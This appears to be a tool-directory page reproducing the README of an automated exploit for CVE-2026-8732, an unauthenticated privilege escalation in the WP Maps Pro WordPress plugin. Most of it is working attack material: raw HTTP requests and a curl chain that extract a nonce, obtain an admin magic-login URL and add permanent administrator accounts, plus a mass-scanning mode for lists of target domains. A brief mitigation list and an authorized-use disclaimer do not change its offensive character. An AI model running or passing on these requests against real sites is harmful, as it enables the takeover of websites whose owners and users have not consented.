Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-8732 — Exploit automatizzato in 8 fasi per CVE-2026-8732, un'escalation di privilegi non autenticata in WP Maps Pro ≤ 6.1.0. Utilizza multiprocessing e asyncio per scansionare i target, estrarre i nonce e creare account amministrativi. | Kitploit
Strumenti/GitHubGitHub/zycoder0day/cve-2026-8732
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubzycoder0day/cve-2026-8732

CVE-2026-8732

Exploit automatizzato in 8 fasi per CVE-2026-8732, un'escalation di privilegi non autenticata in WP Maps Pro ≤ 6.1.0. Utilizza multiprocessing e asyncio per scansionare i target, estrarre i nonce e creare account amministrativi.

Vedi Repository
22 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

⚔️ CVE-2026-8732

WP Maps Pro ≤ 6.1.0 — Escalation dei Privilegi Non Autenticata

CVSS 9.8 CRITICAL CWE-306 Python 3.8+ License MIT

Automazione dell'Exploit in 8 Fasi | Multiprocessing + Asyncio | Creazione Admin Verificata


🎯 Informazioni sulla Vulnerabilità

Il plugin WordPress WP Maps Pro versione ≤ 6.1.0 presenta una vulnerabilità di escalation dei privilegi senza autenticazione. Un attaccante senza alcuna credenziale può creare un account amministratore e prendere il controllo del sito.

La vulnerabilità deriva dalla funzionalità "Temporary Access", progettata per il team di supporto del vendor FlipperCode, ma esposta al pubblico senza un'adeguata protezione.


🔥 Tre Debolezze Correlate

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  KELEMAHAN 1 — Endpoint Terekspos Tanpa Autentikasi        │
│  ▸ AJAX action didaftarkan dengan wp_ajax_nopriv_           │
│  ▸ Siapapun bisa mengakses tanpa login                      │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 2 — Nonce Bocor di Halaman Publik               │
│  ▸ Objek wpgmp_local.nonce disematkan di setiap halaman    │
│  ▸ Penyerang bisa mengekstrak nonce dari HTML source        │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 3 — Tidak Ada Pemeriksaan Hak Akses             │
│  ▸ Fungsi callback hanya memverifikasi nonce               │
│  ▸ Tidak ada current_user_can() — tidak ada pertahanan lain│
└──────────────────────────────────────────────────────────────┘

⚡ Catena d'Attacco — 8 Fasi

root@kitploit:~
  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 1  │──▶│ FASE 2   │──▶│ FASE 3   │──▶│ FASE 4   │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0?  │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ RENTAN
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │                    FASE 5 — EKSTRAKSI NONCE               │
  │                                                          │
  │  GRUP A (API)          GRUP B (Konten)      GRUP C      │
  │  ├─ M1: REST pages    ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST search   ├─ M5: Homepage links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom feed   Force     │
  │                                                          │
  │  Target: wpgmp_local.nonce = "fc-call-nonce"             │
  └──────────────────────────┬───────────────────────────────┘
                             │ NONCE DITEMUKAN
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 6   │──▶│ FASE 7   │──▶│ FASE 8   │
  │ EXPLOIT  │   │ VERIFY   │   │ ADD ADMIN│
  │ POST AJAX│   │ Magic URL│   │ PERMANEN │
  │ nonce+   │   │ Cookie   │   │ REST API │
  │ check_   │   │ login    │   │ WP-Admin │
  │ temp=false│   │ check    │   │ Form     │
  └──────────┘   └──────────┘   └──────────┘
                                       │
                                       ▼
                               ✅ ADMIN DIBUAT
                               Login: wp_xxxx / pass
                               Role: administrator

Dettagli di Ogni Fase


🛠️ Metodi di Attacco

Metodo 1: Exploit Principale — Creazione Admin Senza Autenticazione

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false

Risposta se vulnerabile:

root@kitploit:~
{"url":"https://target.com/?wpgmp_access=abc123def456"}

Questa magic URL fornisce un login automatico come fc_user_XXXXX (ruolo: administrator).

Metodo 2: Aggiungi Admin Permanente tramite REST API

root@kitploit:~
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

Metodo 3: Aggiungi Admin tramite Modulo WP-Admin (Backup)

root@kitploit:~
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- KUNCI: konfirmasi password lemah
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

Punto chiave: pw_weak=1 è obbligatorio — WordPress rifiuta password deboli senza questo parametro.


📐 Architettura

root@kitploit:~
CVE-2026-8732.py
│
├── 📦 NonceFinder — Pencari nonce dengan 7 metode
│   ├── Grup A (API): M1 REST pages, M2 REST search, M3 rest_route
│   ├── Grup B (Konten): M4 Sitemap, M5 Homepage links, M6 RSS feed
│   └── Grup C (Paksa): M7 Slug brute force (30+ slug umum)
│
├── ⚔️ Exploiter — Mesin eksploitasi 8 fase
│   ├── resolve()           → Fase 1: Pemilihan protokol
│   ├── check_wp()           → Fase 2: Verifikasi WordPress
│   ├── detect_plugin()      → Fase 3: Deteksi plugin + early nonce
│   ├── detect_version()     → Fase 4: Deteksi versi + WAF
│   ├── exploit()            → Fase 6: Eksploitasi inti
│   ├── verify()             → Fase 7: Verifikasi login admin
│   └── add_admin()          → Fase 8: Tambah admin permanen
│
├── 🔧 Worker Process — Proses pekerja multiprocessing
│   ├── producer()           → Baca domain dari mp.Queue
│   └── consumer() (N)       → Eksekusi scan paralel
│
└── 🖥️ Scanner — Antarmuka pengguna
    ├── single()             → Mode target tunggal (interaktif)
    └── multi()              → Mode multi-target (massal)

Flusso di Dati

root@kitploit:~
  targets.txt          mp.Queue (tugas)         asyncio.Queue
  ┌─────────┐    ┌─────────────────┐    ┌──────────────────┐
  │ domain1 │───▶│  domain queue   │───▶│  internal queue  │
  │ domain2 │    │  (IPC antara    │    │  (per proses)    │
  │ domain3 │    │   proses)       │    └────────┬─────────┘
  │  ...    │    └─────────────────┘              │
  └─────────┘                          ┌─────────▼──────────┐
                                       │   Konsumen (N)      │
                                       │   Exploiter.scan()  │
                                       │   8 fase lengkap    │
                                       └─────────┬──────────┘
                                                 │
                                       ┌─────────▼──────────┐
                                       │  mp.Queue (hasil)   │──▶ vuln.txt
                                       │  + JSON + TXT       │    + debug.log
                                       └────────────────────┘

🚀 Utilizzo

Installazione

root@kitploit:~
pip install aiohttp

Modalità Target Singolo

root@kitploit:~
python3 CVE-2026-8732.py
root@kitploit:~
  [?] Pilih mode:
      1. Single Target
      2. Multi Target (file list)

  > 1

  [?] Target domain (tanpa http/https): target.com
  [?] Timeout [default: 15]: 15

Modalità Multi-Target (Massivo)

root@kitploit:~
python3 CVE-2026-8732.py
root@kitploit:~
  [?] Pilih mode:
      1. Single Target
      2. Multi Target (file list)

  > 2

  [?] Path file target (.txt): targets.txt
  [?] Jumlah process [default: 10]: 10
  [?] Concurrency per process [default: 50]: 50
  [?] Timeout per request [default: 10]: 10
  [?] Output file [default: vuln.txt]: vuln.txt
  [?] Debug mode? (y/n) [default: n]: y

Esempio Manuale con curl

root@kitploit:~
# LANGKAH 1: Ekstrak nonce dari halaman frontend
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"

# LANGKAH 2: Kirim payload eksploitasi
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"

# LANGKAH 3: Akses magic URL untuk login sebagai admin
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"

# LANGKAH 4: Verifikasi akses admin
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'

# LANGKAH 5: Buat admin permanen via REST API atau WP-Admin form

📊 Condizioni di Exploit

L'admin viene creato con successo SE E SOLO SE entrambe le condizioni sono soddisfatte:

root@kitploit:~
  ┌───────────────┐    ┌───────────────┐
  │  KONDISI 1    │ AND│  KONDISI 2    │
  │  Versi ≤6.1.0│    │  GOLD AKTIF   │
  │               │    │               │
  └───────┬───────┘    └───────┬───────┘
          │                    │
          ▼                    ▼
  Aksi nopriv        WPGMP_Temp_
  masih terdaftar    Access tersedia
          │                    │
          └────────┬─────────┘
                   ▼
             ✅ ADMIN DIBUAT
Se la Condizione FallisceRisultato
Versione ≥ 6.1.1❌ CORRETTA — L'azione wp_ajax_nopriv_ è stata rimossa
GOLD non attivo⚠️ PHP CRASH — La classe WPGMP_Temp_Access non esiste

📁 Struttura dei File

root@kitploit:~
CVE-2026-8732/
├── CVE-2026-8732.py      # Skrip eksploitasi otomatis
├── README.md              # Dokumentasi proyek (file ini)
└── LICENSE                # MIT License

⚙️ Tecnologie


🛡️ Mitigazione

Se sei il proprietario di un sito che utilizza WP Maps Pro:

  1. Aggiorna alla versione 6.1.1 o successiva — Questo correggerà la vulnerabilità
  2. Assicurati che l'addon GOLD sia attivo — Se GOLD è installato ma non attivo, il sito rimane in stato vulnerabile (crash durante l'exploit, ma l'azione dannosa resta esposta)
  3. Installa un WAF (Wordfence / Sucuri) per bloccare le POST verso admin-ajax.php
  4. Disabilita l'endpoint REST API users — Espone l'elenco degli utenti
  5. Limita i tentativi di login — Previeni il brute-force

📜 Licenza

root@kitploit:~
MIT License

Copyright (c) 2026 XENON1337

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⚠️ Disclaimer

QUESTO STRUMENTO È SOLO PER USO LEGITTIMO. Utilizzalo esclusivamente su sistemi di tua proprietà o per i quali hai un'autorizzazione esplicita a testare. L'uso senza autorizzazione è ILLEGALE e NON ETICO. L'autore non è responsabile dell'abuso di questo strumento.


Creato da XENON1337

Scarica lo strumento
InformazioniDettagli
CVECVE-2026-8732
CVSS9.8 (CRITICO) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PluginWP Maps Pro (wp-google-map-gold)
VendorFlipperCode
Versione Interessata≤ 6.1.0
Versione Corretta6.1.1
TipoMissing Authentication for Critical Function (CWE-306)
ImpattoCreazione di admin senza autenticazione → controllo totale del sito
Autore PoCXENON1337
FaseNomeFunzioneRichieste
1ResolveSeleziona HTTPS/HTTP in parallelo1
2Check WPVerifica che il target sia WordPress0
3Detect PluginControlla gli indicatori WP Maps su 3 livelli0-4
4Version + WAFLegge readme.txt / CSS ?ver= + rilevamento WAF1
5Estrazione Nonce7 metodi di ricerca in 3 gruppi paralleli0-150
6ExploitPOST admin-ajax.php → crea un account admin temporaneo1
7VerificaAccede alla magic URL → conferma la sessione admin2
8Aggiungi AdminREST API (principale) + modulo WP-Admin (backup)4
ComponenteTecnologiaFunzione
Client HTTPaiohttpRichieste HTTP asincrone con connection pooling
Parallelismoasyncio + multiprocessingMulti-processo + async per processo
Coda IPCmp.QueueComunicazione tra processo principale e worker
CookieCookieJar(unsafe=True)Gestisce i redirect cross-domain
Timeoutasyncio.wait_forLimite di tempo per target (25 secondi)